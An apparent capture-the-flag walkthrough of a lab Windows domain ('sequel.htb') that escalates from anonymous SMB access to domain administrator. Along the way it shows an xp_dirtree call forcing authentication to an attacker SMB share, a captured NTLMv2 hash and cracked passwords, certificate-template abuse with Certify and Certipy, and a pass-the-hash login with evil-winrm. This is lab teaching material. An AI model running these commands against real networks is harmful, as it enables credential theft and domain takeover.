Shell as sql_svc
Anonymous SMB access is enabled
Username
Using impacket we can sign into the mssql server
impacket-mssqlclient sequel.htb/PublicUser:[email protected]
Using this command below we can reach out to an external SMB share and use responder to capture the hash
sudo responder -I tun0
EXEC xp_dirtree '\\10.10.14.2\share'
[SMB] NTLMv2-SSP Client : 10.10.11.202
[SMB] NTLMv2-SSP Username : sequel\sql_svc
[SMB] NTLMv2-SSP Hash : sql_svc::sequel:7631d77ef1809e8e:C5DB46C039E1E3A9A05EE7AB4A53891E:010100000000000080A07C4B269CDA0192BCDF41A651E827000000000200080043004C003600480001001E00570049004E002D00380056004400440033005000560053004E0041004B0004003400570049004E002D00380056004400440033005000560053004E0041004B002E0043004C00360048002E004C004F00430041004C000300140043004C00360048002E004C004F00430041004C000500140043004C00360048002E004C004F00430041004C000700080080A07C4B269CDA01060004000200000008003000300000000000000000000000003000004A58C3ABFB960EE91E9C14995189622FE639D5D286C3D626E05574B54576F7640A0010000000000000000000000000000000000009001E0063006900660073002F00310030002E00310030002E00310034002E0032000000000000000000
hash cracks to REGGIE1234ronnie
sql_svc:REGGIE1234ronnie
We have no user flag though, we need to pivot to Ryan.Cooper's account.
Shell as Ryan Cooper
We can find creds located in the error logs of mysql. Ryan accidently enters his password for user username.
C:\SQLServer\Logs> type ErrorLog.bak
ryan.cooper:NuclearMosquito3
Privilege escalation to admin
Using Certipy we can get the admin hash/TGT ticket
Tool is here - https://github.com/ly4k/Certipy
Guide is here - https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation
Also this was useful - https://gist.github.com/TarlogicSecurity/2f221924fef8c14a1d8e29f3cb5c5c4a
First step was uploading certify.exe to the box and running it to find vulnerable tickets. The important things we need are highlighted in red.
.\certify.exe find /vulnerable
Using the things highlighted in red we can generate a private key(cert.pem file)
.\certify.exe request /ca:dc.sequel.htb\sequel-DC-CA /template:UserAuthentication /altname:administrator
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEArRCH7YZMWIxt2n+Dv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zLENOPVNlcnZpY2VzLENOPUNv
bmZpZ3VyYXRpb24sREM9c2VxdWVsLERDPWh0Yj9jQUNlcnRpZmljYXRlP2Jhc2U/
b2JqZWN0Q2xhc3M9Y2VydGlmaWNhdGlvbkF1dGhvcml0eTANBgkqhkiG9w0BAQsF
AAOCAQEADu9nxoqEAQh9/tHLVjPMY4PPTIYmq5tVSt2gw4c/pIjeV9RGvRF8Qzy/
kh5oWNASILgn+HWhNxOodTJm6u4+gfS0qFWcgqLKdB4/wwGlEYkswIiULWUMR1h4
fT8NDMiCruNWmPo0rW0Vczvq1lAXkLeBJ4BGT5ti6yK6Q4kyHTQjMFvGNdYEuc6P
hI4m9lD6HD+r2SzWeKDdsi3ITGk/H5/uPrN7w4YEcIxSiBu2z2hS32L0Y9eI+lXI
EnT7TjfBwh7c/X58gcYHZyxuQYrp+4Pcb7HRQQ01yu14se5bFBAdeqCSkOt7oNei
RSQ7z+oJe//gBHsvW6F8KnGsoVtwSg==
-----END CERTIFICATE-----
We then copy that key to our machine and name it cert.pem and use the command below to turn it into a pfx file.
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
Due to kerberos my time was different from the machine so we have to use ntupdate to make our times match up.
ntpdate 10.10.11.202
Now that its in the proper format and we have the proper time we can use certipy to give us the tgt and hash.
python3 entry.py auth -pfx 'cert.pfx' -username 'Administrator' -domain 'sequel.htb' -dc-ip 10.10.11.202
I spent a while trying to crack the ntlm hash or use a pass the hash tool but kept getting errors. Like usual i over complicated things a ton. We can just pass the hash with evil-winrm
evil-winrm -i 10.10.11.202 -u administrator -H a52f78e4c751e5f5e17e1e9f3e58f4ee